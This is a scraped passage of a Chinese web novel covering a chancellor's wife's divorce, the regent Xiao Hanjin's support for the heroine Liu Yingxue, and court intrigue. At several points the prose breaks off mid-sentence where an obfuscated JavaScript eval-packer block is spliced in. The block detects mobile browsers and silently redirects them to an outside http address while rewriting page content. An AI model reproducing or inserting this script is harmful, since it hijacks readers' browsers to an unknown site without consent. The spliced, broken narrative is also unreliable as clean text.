她转头吩咐:“柳晓,给娘披上披风。这屋里连地龙都不烧,冷得很。”说着,一个身材纤细的丫鬟立即取出一件狐裘披风,轻轻披在朱氏肩上。 柳书兰气得直跺脚:“姐姐!我是书兰,是你嫡妹!” “哦?我娘只生了我一个,哪来的嫡妹?”柳映雪意味深长地看向柳丞相,“丞相大人现在的身子,怕是也经不起这么多私生女来认亲吧?” 柳丞相脸色一变,手中的茶盏差点摔在地上。这话里有话,难道她知道些什么?不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505515|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能!这时,小丫已经把紫檀木方凳搬了进来。凳面上还铺着云锦软垫,金线绣着祥云纹,精致华贵。 当朱氏端坐其上,比众人都高出一截。那姿态,仿佛又回到了当年她刚进门时的风光。 “朱氏!”老太君的声音像是被人掐住了脖子,“你这是什么意思?坐得比我和丞相还高,成何体统!” 柳映雪冷笑一声,手指有一下没一下地敲击着桌面:“老太君这话说得奇怪,这地方是我的,我给母亲坐的。您要是觉得矮了,不如让下人去库房搬个更高的来?” 她顿了顿,语气中带着显而易见的讽刺,“还是说,堂堂丞相府,连个像样的凳子都拿不出来了?” “放肆!”柳丞相猛地拍案而起,茶盏被震得跳动,茶水溅在桌面上,“逆女!这丞相府中一切都是本相的,包括你这个嫡女的身份!” “嫡女?”柳映雪冷冷一笑,“父亲这话说得可真是讽刺。您把外室抬成平妻,私生子认作嫡子,现在又做起了卖妾的营生。这丞相府的门槛,我都不好意思跨了。” 她的每一个字都像淬了毒的刀子,精准地刺在柳丞相最痛的地方。老太君的脸色由红转青,手中的拐杖重重地敲击地面。 朱氏看着女儿的背影,眼中闪过一丝欣慰。记忆中那个总是躲在自己身后,动不动就哭鼻子的小女孩,如今已经能够挺直脊梁,替她说话了。 “好一个伶牙俐齿的东西!”柳丞相气得胡子都在颤抖,“你给我滚出丞相府!” “丞相大人。”朱氏突然开口,声音冷得像是雪日的寒冰,“您有什么资格赶她走?这些年,您可曾尽过一天做父亲的责任?” 二夫人坐在一旁,眼中闪烁着兴奋的光芒,时不时和二小姐交换眼色。高姨娘虽然低着头,但嘴角的笑意却怎么也藏不住。 老太君见势不妙,立刻开口威胁:“朱氏,你别忘了自己的身份!小心我让你从夫人变成妾室!” “妾室?”朱氏突然笑了,那笑容让在座所有人都感到一丝不安。她从袖中缓缓抽出一张纸,“不必这么麻烦了。” 纸张重重拍在桌上的声音在寂静的大厅格外清晰。 “和离书?”柳丞相瞪大了眼睛,不敢相信自己看到的。他伸手想要抓住那张纸,却被朱氏按住。 “没错,就等丞相大人一个签字了。”朱氏的声音带着几分讥讽,“从此一别两宽,各自欢喜。” 第五十章 摄政王来助阵 老太君最先反应过来,拐杖重重地砸在地上:“不行!你休想离开柳府!” “老太君。”朱氏冷冷看着她,目光如刀,“您别忘了,我可是一品诰命夫人。您一个普通百姓,想囚禁朝廷命妇,这罪名可不小。” 柳丞相突然冷笑起来,那笑声中带着几分阴毒:“我明白了,你是和司马澄勾搭上了吧?所以才这么有恃无恐?” “啪!” 一记响亮的耳光,在大厅中回荡。 朱氏的手还停在半空中,柳丞相的脸上已经浮现出五个鲜红的指印。她的声音颤抖却坚定:“柳大人,请您放尊重些。” 柳映雪看着母亲那挺直的背影,心中升起一股前所未有的骄傲。这一巴掌,打得好!打得痛快! 柳映雪站在厅堂一角,看着眼前这一幕闹剧在心中暗暗叫好。娘亲那一记响亮的耳光,不偏不倚地落在柳丞相那张虚伪的脸上,红肿的五指印清晰可见。 “你、你竟敢打我?”柳丞相捂着脸,难以置信地瞪着朱氏,声音因愤怒而颤抖。 朱氏冷笑一声,眼中闪过一丝讥讽:“打你?这一巴掌,还不够偿还这些年你对我的羞辱!” 柳映雪注意到娘亲提到司马澄时,眼底闪过一丝不易察觉的波动。 老太君颤巍巍地从太师椅上站起来,白嬷嬷连忙上前搀扶。她拄着拐杖,一步步走到朱氏面前,苍老的面容因愤怒而扭曲:“贱妇!竟敢对相爷动手,还勾搭外男,今日老身定要好好教训教训你这个不守妇道的东西!” 眼看老太君抬手就要打,朱氏身后的小丫突然箭步上前,挡在主子面前。这一变故来得太快,老太君收势不及,被小丫的身形一撞,连带着白嬷嬷一起向后踉跄。 “咔嚓”一声脆响,老太君摔倒在地,发出一声凄厉的惨叫。 “老太君!”下人们慌忙上前搀扶,白嬷嬷更是吓得面如土色。 柳映雪看着这一幕,嘴角微微上扬。她太了解小丫了,这个看似莽撞的举动,必定是故意为之。老太君这些年作威作福,今日也该尝尝苦头了。 “来人!快传大夫!”柳丞相急得直跺脚,却又不敢贸然去扶老太君,生怕碰到她的伤处。 朱氏对地上哀嚎的老太君视若无睹,转而直视柳丞相:“丞相大人,我的清白岂是你想污就能污的?若不是你提起,我都快忘了司马澄其人。虽小时相识,但自我嫁入丞相府后,便再未见过。还请相爷慎言!” 她的声音不大,却字字铿锵,掷地有声。柳丞相见她神色坚定,眼中没有半分心虚,倒是信了几分。 “和离?休想!”柳丞相冷笑一声,眼中闪过一丝阴狠,“你以为离开丞相府,你还是什么诰命夫人?雪儿还是什么丞相府嫡女?没了这些身份,就是摄政王也不会要她!” “谁说本王不会要?” 一道冰冷的声音从门外传来,萧寒瑾一身白衣,缓步而入。他面容清冷,周身散发着不怒自威的气势,仿佛带着寒雪腊月的凛冽寒意。 厅内众人不由打了个寒战,就连地上的老太君也停止了哀嚎。 “王爷!”众人慌忙行礼。 萧寒瑾上前虚扶朱氏:“夫人不必多礼。” 柳映雪站在一旁,偷眼打量着萧寒瑾。这厮来得可真是时候,莫非一直在外面听墙角?她眼中闪过一丝狡黠,心中暗自盘算。 “丞相,继续处理你的家事。”萧寒瑾淡淡道,“本王只是来看看。” 柳丞相额头渗出冷汗,这位摄政王的性子他再清楚不过。一言不合就能取人性命,谁敢在他面前放肆? 朱氏忽然开口:“要一半嫁妆也不是不能商量。只是丞相大人,这些年我补贴府中的银钱,是不是该先还我?” 她说着从袖中取出一本账册,递给萧寒瑾:“这是这些年的账目,请王爷过目。” 萧寒瑾接过账册,随意翻了翻,眉头微皱:“丞相府竟如此拮据?” “那是你身为丞相府大夫人应尽的责任!”柳丞相急忙辩解,额头的冷汗越来越多。 “既是如此,二夫人为何从不出一分银钱?”朱氏冷笑,“同为夫人,凭什么只有我出?这些年,我的嫁妆铺子赚的银子,全都补贴进了府中。二夫人不仅分文不出,反倒月月向府中要银子打点娘家。” “本王觉得有理。”萧寒瑾眸光微冷,“丞相以为如何?” 柳大人支支吾吾道:“王爷说得对...” “既然如此,那就先算算这笔账。”朱氏从容不迫地说道,“这些年我投入府中的银钱,加上利息,怕是不下百万两。丞相若能如数奉还,和离一事,我们好商量。” “百万两?!”柳丞相脸色瞬间惨白,“你、你这是敲诈!” “敲诈?”萧寒瑾冷笑,“本王倒要看看,这账目到底如何。来人,传账房。” 不多时,账房战战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505516|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兢兢地到了。萧寒瑾将账册递给他:“仔细核对。” 账房翻看账册,额头渗出冷汗:“回王爷,这、这账目无误。大夫人这些年确实投入了大量银钱...” “丞相,你说该如何是好?”萧寒瑾淡淡问道。 柳丞相面如土色,一时语塞。这笔银子,就算变卖府中所有产业也凑不齐啊! 萧寒瑾慵懒地靠在太师椅上:“二夫人的月例银钱,从今日起分一半给大夫人。” 这话一出,二夫人司氏的脸色瞬间变得惨白,她的手指无意识地揪着衣角,眼看就要站不稳。“噗通”一声,她跪了下来,裙摆在地上铺开一片青色的涟漪。 “相爷,妾身实在拿不出那么多银子啊!”司氏的声音带着哭腔,眼泪像断了线的珠子般往下掉,“妾身每月的月例银子都用来给老太君请安了,剩下的还要打点府中下人,根本就......” 柳丞相眉头紧锁,眼底闪过一丝不耐。他太了解这个二房了,除了仗着老太君宠爱四处张狂,根本没什么真本事。平日里穿金戴银,挥霍无度,如今却在这装穷。 大厅内一片寂静,只有司氏的抽泣声不断。柳映雪注意到,她那看似柔弱的身躯下,手指正悄悄掐着大腿,想必是为了让眼泪流得更真实些。 不过今日这局面,倒是让柳丞相看明白了。这摄政王是铁了心要护着朱氏和那逆女了。他冷眼看着跪在地上的司氏,心中已有了盘算。 朱氏若是离开丞相府,在外面也不会好过。没有丞相府的庇护,她连个立足之地都没有。届时想办法让皇上收回这道诰命,朱氏还不是得乖乖回来? 想到这里,柳丞相忽然开口:“好,本相答应和离。但雪儿必须留在府中。”他的语气斩钉截铁。 “不可能。”朱氏立即回绝,声音里带着前所未有的坚定,“雪儿是我的女儿,必须跟我走。” 一旁的柳书兰听到这话,眼中闪过一丝嫉妒。她偷偷瞄了眼萧寒瑾,见他始终注视着柳映雪,心中更是不是滋味。 柳映雪听着他们为自己的去留争执,忍不住翻了个白眼。这些人是把她当成货物了吗?就在她准备开口时,萧寒瑾的声音响起。 “柳丞相,”他的声音带着一丝寒意,“雪儿已然成为我的王妃。她的去留,应该由她自己决定。” 柳丞相脸色一沉:“王爷此言差矣。雪儿还未踏入夫家大门,依旧是我的掌中娇。” 第五十一章 成功和离 话音未落,一股凌厉的气势扑面而来。萧寒瑾眸中寒光闪烁:“柳丞相,你这是在质疑本王?” 整个厅堂的温度仿佛骤降,众人纷纷跪地。就连一直偷看萧寒瑾的柳书兰也吓得低下了头,她从未见过萧寒瑾露出这样可怕的表情。 老太君见状,连忙打圆场:“王爷息怒,相爷也是一片慈父之心......” “慈父之心?”朱氏冷笑一声,“若真是慈父之心,又怎会容忍外人欺辱自己的女儿?” 柳映雪看着这一幕,忍不住勾了勾唇角。这个男人,装起高冷来还挺像那么回事。 “王爷息怒!”柳丞相连忙叩头,额头重重地磕在地上,“微臣不敢。” “既如此,那就让雪儿自己选择。”萧寒瑾转头看向柳映雪,目光柔和了几分,“你想留在府中,还是跟着朱夫人离开?” 柳映雪看都没看跪在地上的柳丞相一眼:“当然是跟着娘亲走。” 事已至此,柳丞相也只能认命。可就在他准备在和离书上签字时,不知是谁打翻了茶水,把和离书浸湿了。 老太君眼中闪过一丝得意,嘴角微微上扬。她暗自庆幸自己眼疾手快,这和离之事总算有了转机。 但朱氏早有准备,从袖中又取出一份和离书:“本夫人这里还有备用的。” 看着柳丞相铁青的脸色,柳映雪忍不住在心里为自己的娘亲叫好。这份准备,可真是滴水不漏。 最终,在萧寒瑾的注视下,柳丞相不得不在和离书上签下了自己的名字。 从此,这对夫妻,一别两宽,各自安好。 柳丞相望着朱氏脸上洋溢的笑容,一股怒火直冲脑门。 白嬷嬷跪在地上,双手微微颤抖。方才一屁股坐断了老太君的腿,此刻心中惶恐不已,额头上的冷汗一颗接一颗往下滴。她小心翼翼地伺候着老太君,见其又晕了过去,忙不迭地掐人中,可任凭她如何施力,老太君始终毫无反应。 “相爷,老太君...老太君又昏过去了。”白嬷嬷声音发颤,“要不要请大夫来看看?” 柳丞相终于找到了发泄的对象,猛地拍案而起:“废物!连老太君都照顾不好,要你何用!滚出去!” 厅内众人被这一声怒喝吓得缩了缩脖子。白嬷嬷更是吓得直接跪倒在地,连连磕头求饶。 萧寒瑾淡淡开口,声音清冷:“看来柳丞相还有家事要处理,本王告辞。” 柳丞相脸色更加难看,额头上青筋暴起。他何尝不知道,今日这一出闹剧,完全是被摄政王牵着鼻子走。可眼下,他又能如何? 萧寒瑾转向柳映雪,嘴角微扬,眸中闪过一丝狡黠:“雪儿,本王来得匆忙,未备马车,可否借用府上马车送我回司王府?” 绿竹站在一旁,听得直冒冷汗。他偷偷瞥了眼门外停着的司王府马车,又看了看自家主子含笑的面容,顿时明白了什么。 感受到王爷投来的眼神,绿竹立刻会意,飞也似地往府门口跑去。 得赶紧让马夫把王爷的马车撤走,否则坏了王爷和王妃独处的机会,他这个做下属的可担待不起。 朱氏眉开眼笑,眼角的细纹都舒展开来:“这有何难?雪儿,你陪王爷同乘一辆马车。本夫人还要去看看新府邸,你先送王爷回府。” 柳映雪看着娘亲眼中闪烁的光芒,无奈地叹了口气。她轻轻咬着下唇,心道:娘亲这是在给她创造独处的机会呢。 绿竹办完事又匆匆跑了回来,额头上沁出细密的汗珠。 “绿竹,你把朱夫人的和离文书送去衙门备案。”萧寒瑾吩咐道,声音不疾不徐。 柳映雪惊讶地睁大眼睛:“还要登记?” “嗯,”萧寒瑾看着她天真的模样,眼中闪过一丝宠溺,“只有在府衙备案,和离才算正式生效。” 朱氏连忙道谢:“感激王爷指点。若不是王爷,我们母女怕是要被人钻了空子。” 柳映雪心中一惊,幸亏有萧寒瑾在,要不然她压根不晓得这事。想到这里,她不由得看了眼萧寒瑾,却正好对上他含笑的目光,连忙别过脸去。 绿竹接过和离书,立即往府衙奔去。他的背影很快消失在府门口。 柳丞相的如意算盘被彻底打碎,他没想到摄政王居然会提醒这一点。 一旦在府衙登记,不出半日,整个京都城都会知道他与大夫人和离的消息。到时候,他在朝堂上的威信必定受损。 难道向来不近女色的摄政王,当真对大女儿上了心?柳丞相眯着眼打量着柳映雪精致的容颜,心中暗自盘算。雪儿如今尚且年幼就已如此出众,将来必定更加倾城。不管如何,这丫头还能派上大用场。 “娘亲,我们走吧。”柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高姨娘却暗自窃喜,大夫人一走,这下她能抓住机会了。她偷偷打量着柳丞相的脸色,心中已经开始盘算该如何上位。 柳丞相看着一片混乱的厅堂,气得拂袖而去。他的背影显得格外萧索,仿佛一夜之间苍老了许多。 第五十二章 送王爷回府 府门外,朱氏笑道:“雪儿,你快送王爷回府,娘亲要去凤栖楼找孙掌柜。” “娘亲,我也想陪你去瞧瞧宅子。”柳映雪撒娇道,声音软糯。 “找府邸哪有这么快,让孙掌柜先留意着,等找到合适的再让你去看。”朱氏轻声安抚道。 “那好吧。”柳映雪垂下眼帘,又抬起头道,“不过我想去凤栖楼吃饭。” 萧寒瑾适时开口:“今日司王府备了鸡汤。” 柳映雪眼前一亮,想起司王府那美味的鸡汤,顿时馋虫大动。她不由自主地咽了咽口水,又赶紧掩饰性地抿了抿唇。 朱氏宠溺地拍拍女儿的头:“你这孩子,自从身体好了就特别贪吃,吃这么多也不见长胖。” “娘亲~~~”柳映雪撒娇道,小脸微红。 朱氏笑道:“好了好了,不说了。你快送王爷回府吧。” 说完,朱氏向摄政王福了福身,转身上了另一辆马车扬长而去。马车渐行渐远,最后消失在街角。 马车渐行渐远,柳映雪呆呆地望着远处,心里泛起一阵酸涩。娘亲怎么就这样把她丢下了?初晓的风还带着些许寒意,吹得她鼻尖发酸。 “雪儿。”萧寒瑾的声音轻柔地响起,“我这位夫人特意叮嘱,要你护我回府。” 柳映雪转过头,眼眶微红地瞪着他。都是这个男人,害得娘亲抛下自己先走了。不过今日他确实帮了娘亲大忙,这个仇就暂且记下。 街边小贩的吆喝声此起彼伏,行人熙熙攘攘。一阵香气飘来,是路边的糖炒栗子摊。柳映雪不自觉地咽了咽口水,目光追随着那缕香气。 萧寒瑾注意到她的小动作,唇角微扬,“对了雪儿,司王府新来的厨子最近研究出了几道新菜。” 这话一出,柳映雪立刻来了精神,眼睛亮晶晶的,像是盛满了星光,“什么新菜?是甜的还是辣的?快告诉我!”她急切地扯着萧寒瑾的衣袖,像个讨要糖果的小孩。 “去了不就知道了?”萧寒瑾轻笑,目光温柔地看着她。 “对对对!”柳映雪一把拉住他的袖子,“快走快走,正好到饭点了!”她的脚步轻快,仿佛刚才的委屈都被美食的诱惑冲散了。 晓日的阳光透过马车的窗棂洒进来,在车厢内留下斑驳的光影。柳映雪坐在软垫上,滔滔不绝地讲述着自己对美食的见解。这道菜该加点姜丝提味,那道汤该放些枸杞养生...萧寒瑾静静地听着,时不时点头附和。 “这道糖醋排骨,最关键的是火候。”柳映雪双手比划着,“火大了肉质会柴,火小了又不够入味。还有啊,糖和醋的比例也很重要...” 萧寒瑾看着她认真的模样,眼底闪过一丝笑意,“没想到你对吃这么有研究。” “那是当然!”柳映雪骄傲地扬起下巴,“我可是从小就...”话说到一半,她突然意识到什么,脸上飞快闪过一丝尴尬。 萧寒瑾温柔一笑,没有说话。若是让她知道他为了能和她聊得来,特意让人搜罗了多少美食典籍,怕是要笑话他了。 与此同时,皇宫明德殿内。 “皇上!微臣的库房被洗劫一空啊!”华国公跪在地上痛哭流涕,声音里带着几分颤抖,“连扫帚抹布都不放过!那贼人简直丧心病狂!” 皇上揉了揉太阳穴,眉头紧锁。最近这样的案子接连发生,让他也感到头疼,“怎么又是一样的案子?” “回皇上,”司公公躬身在一旁提醒道,眼中闪过一丝担忧,“前几日柳丞相府上也是如此。” 华国公抹着眼泪,声音哽咽道:“微臣怀疑是妖物所为!那东西定是有个无底洞般的肚子,才能一口气吞下这么多东西!”说着,他又重重地叩了个头。 “放肆!”皇上勃然大怒,龙案上的茶盏被他一掌拍得震动,“我朝向来不信这些怪力乱神之说,你身为国公竟敢胡言乱语!” 华国公吓得直接趴在地上,额头紧贴着冰凉的地砖,“微臣知错!只是...只是那件宝物也不见了...”他的声音越来越小,带着几分惶恐。 “什么宝物?”皇上的声音陡然严厉起来。 “似是一把古琴,装在一个打不开的木匣中。”华国公小心翼翼地回答,生怕触怒龙颜。 皇上眸光一凝,手指无意识地敲击着龙案。古琴?莫非是传说中的鸾琴?殿内一时陷入沉默。 正当他要继续追问,殿外传来小太监尖细的声音:“启禀皇上,秦帝师求见。” “宣。”皇上淡淡开口,目光依旧凝重。 郭大人拖着疲惫的身躯,一步一顿地走进明德殿。他的脸上布满岁月的沧桑,眼角的皱纹深深刻印着时光的痕迹。 皇上只是随意瞥了一眼,眉头微蹙:“免礼吧,说吧,今日来此何事?” 郭大人颤抖的手从宽大的袖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说罢,他缓缓退出明德殿。站在门外的台阶上,郭大人仰望着阴沉的天空,眼中闪过一丝忧虑。他该说的都说了,各项工作都已完成得滴水不漏,其他的,就看天意了。 就在这时,司公公匆匆赶来,脸上带着惊慌。他快步走进明德殿,跪地禀报了柳丞相府发生的事情。 殿内气氛骤然紧张,华国公立刻抓住机会进言:“皇上,若这妖物潜入宫中,吞噬国库,后果不堪设想啊!”他的声音里带着急切,“边疆军饷从何而来?赈灾银两从何而出?若被他国得知,恐怕...” 秦帝师听得目瞪口呆,什么妖物?他忽然想起郭大人临走前的话,心中一动,似有所悟,他下意识地看向皇上,却见龙颜不悦。 皇上沉吟片刻,手指轻轻叩击着案几:“爱卿忠心可嘉,朕自会派人彻查。” “皇上圣明!”华国公连连称赞,眼底却闪过一丝得意。 第五十三章 妖物作祟 司公公站在一旁,欲言又止。皇上见状问道:“还有何事?” “启禀皇上,丞相府今日...”司公公吞吐了一下,“大夫人朱氏与丞相和离了。” 此言一出,满堂震惊。文武百官面面相觑,谁也没想到堂堂丞相府会出这等事。 “这摄政王,竟敢如此戏耍朕!”皇上将手中的奏折重重拍在桌案上,茶盏随之震颤,茶水溅出几滴。 司公公缩了缩脖子,小心翼翼地站在一旁。 皇上眯起眼睛,手指无意识地敲击着桌面。前几日摄政王以先皇令牌为由,要求给柳丞相夫人加封诰命。当时他还觉得好笑,堂堂摄政王竟会关心这等后宅琐事。 “你们两个,都被摄政王耍了。”皇上冷笑一声,目光如刀般扫过二人,“现在可以滚了。” 待二人退下,皇上唤来司公公:“柳丞相那边可有什么消息?” 司公公连忙上前,压低声音道:“回皇上,据丞相府传来的消息,摄政王今日亲自去了丞相府,还帮着促成了朱氏和离一事。” “哦?”皇上眼中闪过一丝兴味. “看来摄政王对柳大小姐颇为上心。据说还亲自为柳大小姐撑腰,让柳家那边不敢轻举妄动。” 皇上嘴角勾起一抹冷笑:“有意思。吩咐人去请柳大人,想法子把柳家小姐接回自己的府邸。”他顿了顿,眼神渐冷,“若是不从,便暗中除掉。” “这......”司公公额头沁出冷汗。 “怎么?你有异议?” “奴才不敢。” 宫门外,秦帝师和华国公并肩而行,两人都面色凝重。 “华国公,听说令府遭了贼?”秦帝师突然开口,打破了沉默。 华国公四下张望,见无人注意,这才压低声音道:“帝师有所不知,那哪是普通的贼人?分明是妖物作祟!我府上的暗卫亲眼所见,那妖物腹部巨大,能将库房中的物什尽数吸入腹中。最诡异的是,第二日那些东西竟又完好无损地出现在了摄政王府。” 秦帝师闻言一愣,不由得多看了华国公几眼:“国公此言当真?” “千真万确!”华国公神色慌张,“这事我都不敢声张,生怕被人当成疯子。” 且说摄政王府中,柳映雪正在享用午膳。庭院里,一株垂杨轻轻摇曳,细碎的阳光透过枝叶间隙洒落,在地上投下斑驳的光影。 桌上摆满了精致菜肴,每一道都恰到好处地迎合她的口味。清蒸鲈鱼鲜嫩可口,红烧狮子头外焦里嫩,就连配菜的青菜都炒得恰到好处。她一边吃着,一边在心里暗暗称赞这府上的厨子。 “雪儿,可还合胃口?”萧寒瑾含笑看着她狼吞虎咽的模样,眼中满是宠溺。 “太好吃了!”柳映雪毫不掩饰自己的喜爱,“以后我没事就来你这蹭饭。”她说着,又夹起一块糖醋排骨。 “蹭饭?”萧寒瑾挑眉。 “无非就是过来一起吃顿饭的意思。”柳映雪忙解释道。 萧寒瑾若有所思地看了她一眼,却没有追问。 用过膳后,柳映雪在书房闲逛。书架上整齐地摆放着各类典籍。她无意间看到桌上的箭**图纸,随手拿起看了两眼,便开始指点起来。 “这设计虽好,但在战场上效率太低。若是改成十箭齐发,再调整一下结构和材质......”她说着,拿起毛笔在图纸上勾画起来,“这里可以用青铜,这里用竹子更轻便......” 萧寒瑾听得眼前一亮。他的小王妃,竟然还懂这个?要知道,这可是军中机密,就连朝中大臣都未必能看懂。 “看来我的小王妃本事不小。”他走到她身后,温热的气息拂过她的耳畔。 柳映雪扬起下巴:“那是自然,你压根想不到还有多少事瞒着你呢。”说着,她又在图纸上添了几笔,“你看,如果这样改,射程能增加三成。” 萧寒瑾看着她傲娇的模样,心中一片柔软。这么俏皮可爱的小王妃,他得赶紧把人拐回司王府才行。 “这里的齿轮可以改小一些,”她指着图纸上的一处说道,“这样不仅能节省材料,还能让整个装置更加灵活。至于发射机制,我觉得可以采用这样的设计......” 萧寒瑾接过图纸时,眸中闪过惊艳之色。这简单明了的设计,远胜过他原本复杂的构想。“十箭齐发”的理念被完美诠释,制作工艺也大大简化。 烛光摇曳,映照着他俊美的侧颜。他不动声色地打量着身边的少女,心中暗叹这位小王妃的不凡。其他闺秀不是吟诗作画,便是刺绣抚琴,哪有人懂得这等机关之术。 “雪儿,你是如何想到这般巧妙的设计?”他的声音温柔,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505519|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着几分试探的意味。 柳映雪心中一跳,手指下意识地绞着衣袖。她总不能说她见过更先进的武器,那些在现代社会司空见惯的设计原理,在这个时代可都是不得了的机密。 她眼珠转了转,正想着如何搪塞过去,萧寒瑾却已从袖中取出一枚玉佩。玉质温润,通体晶莹,金丝穿绕其上,显见非是凡品。在烛光的映照下,玉佩散发出柔和的光晕。 “这是母妃留给未来王妃的信物。”萧寒瑾的声音带着几分怀念,目光落在玉佩上,仿佛能透过这块玉看到往事。“母妃临终前为儿媳准备的诸多物件中,这可是我最珍视的宝贝。” 柳映雪连忙后退一步,差点撞到身后的书架。“这玉佩我不能收。”她的声音有些慌乱,这玉佩的分量太重了。 萧寒瑾眼中闪过一丝受伤,“雪儿是觉得我不够好?”他向前一步,缩短了两人之间的距离,“还是说,雪儿心中另有所属?” 柳映雪看着他黯然的神色,心中不忍。这人从小失去母妃,如今好不容易有了未婚妻,若再被拒绝,怕是要伤心了。况且,他这般优秀的人,本该受人敬重才是。 “不是......”她轻声解释,“不过婚期还有一年的功夫,现在收下不太合适。” “皇上已经赐婚,这一点永远不会有半点动摇。”萧寒瑾的声音低沉,带着一丝她从未听过的执着,“除非雪儿心有所属......” 话未说完,他的目光已经暗沉下来。烛光在他眼中跳动,仿佛暴风雨前的宁静。 柳映雪看着他失落的模样,心中一软。不就是一枚玉佩吗,收下又何妨。她伸手接过玉佩,触手生温,仿佛带着某种安定人心的力量。 “好吧,我收下就是。”她的声音轻柔。 萧寒瑾眼中瞬间绽放出光彩。他轻轻走到柳映雪身后,替她戴上玉佩。温热的指尖轻触她的后颈,惹得她一阵轻颤。 “从今往后,雪儿就是我的未来王妃了。”他的声音轻柔。 夜色渐深,院中的梧桐叶沙沙作响。烛光映照着两人的身影,在墙上投下交织的剪影。 “此生我心里只有你一个。”他的声音很轻,却字字清晰地传入柳映雪耳中。“我曾看着母妃独自落泪,看她日日期盼父皇的到来。所以我发誓,绝不会让自己的王妃承受相同的痛苦。” 第五十五章 置办宅院 萧生玉眼中精光一闪,走到三皇子身边,“三哥,我倒是有个主意。”他压低声音,“若是秦玉华的名声有损,秦帝师也只能接受她做侧妃了。” “名声?”三皇子皱眉,“你是说...” “容貌、才情,这些都是她引以为傲的。”萧生玉缓缓踱步,脚步声在静谧的书房内格外清晰,“若是这些都不复存在,再加上三哥暗示她德不配位...秦帝师为了保住这门亲事,自然会主动请求降为侧妃。” 三皇子眼前一亮,“妙计!长姐的赏兰宴就在近日...” “正是时机。”萧生玉微笑,走到窗前看着庭院中的梅树,“不如让小公主的丫鬟去办这件事。若是东窗事发,也只会牵连到白贵妃母女。” “好!就这么办。”三皇子大喜,随即又想起什么,“对了,生玉还有什么需要准备的吗?” “请三哥让长公主也邀请柳大小姐。”萧生玉依旧望着庭院,月光下梅枝的影子在地上投射出斑驳的痕迹,“她如今是摄政王未来的王妃,值得我们多加关注。” “这个病秧子有什么好关注的?”三皇子不以为然地摆摆手。 萧生玉转过身,目光深邃,“今日她和母亲和离时,摄政王亲自到场。”他走回书案前,指尖轻轻拂过桌上的字帖,“而且...据说她身手矫健,哪里像个病人?” 三皇子若有所思地点头,“我明白了。看来这位柳大小姐,不简单啊。” 另一边,信鸽扑棱着翅膀落在院中的石桌上,羽毛在阳光下泛着银白色的光泽。管家快步上前,小心翼翼地取下绑在鸽子腿上的信笺。 琴声悠扬。司马澄坐在琴案前,修长的手指轻抚琴弦,一曲《忆乡曲》在他指尖流淌。 管家站在一旁,看着少爷专注的侧脸。这张脸上已经很久没有出现过笑容了 “少爷...”管家欲言又止。 庭院里的海棠开得正艳。自从朱雅芸小姐嫁入柳府,少爷就像变了个人。以前那个意气风发的公子哥儿不见了,整日里不是埋首在账本堆里,就是独自弹琴。 老太君为此操碎了心,托媒人介绍了不知多少门当户对的姑娘。可少爷连见都不愿见一面,每每只是淡淡一句:“心已死,何必再害人。” 管家低头展开信笺,目光扫过上面的字迹,瞳孔猛地一缩。他揉了揉眼睛,再次确认内容无误后,快步走到琴案前。 “少爷,京城来信。” 琴声依旧。 “朱夫人...和离了。”管家的声音有些颤抖。 “铮——”一声刺耳的断弦声响起,回荡在寂静的院落中。 司马澄猛地抬头,眼中闪过一丝不可置信。他一把抢过信笺,目光贪婪地在上面扫视,手指微微颤抖。 “当真?”他的声音沙哑得不成样子。 “千真万确。”管家连忙道,“信上说朱夫人已在寻找新府邸,似乎是打算重立门户。” 司马澄站起身,脸上浮现出这些年来从未有过的神采。他大步走向内室,一边吩咐道:“备马,即刻启程去京城。” “少爷且慢!”管家连忙追上前,“京城那边不是还有两处新置办的宅院吗?不如先让人递个消息过去。” 司马澄停下脚步,眼中精光一闪。“对,就用那两处宅院。让人暗中递消息给语容,就说那里在售。” “要说明是少爷的产业吗?” “不必。”司马澄摇头,眼中闪过一丝了然,“按市价收银子便是,否则以她的性子,定然不会接受。这些年...我太了解她了。” 管家应声而去,司马澄站在庭院中,望着天边的晚霞。记忆中那个明媚如晓日的女子,终于要回来了吗? 与此同时,凤栖楼。 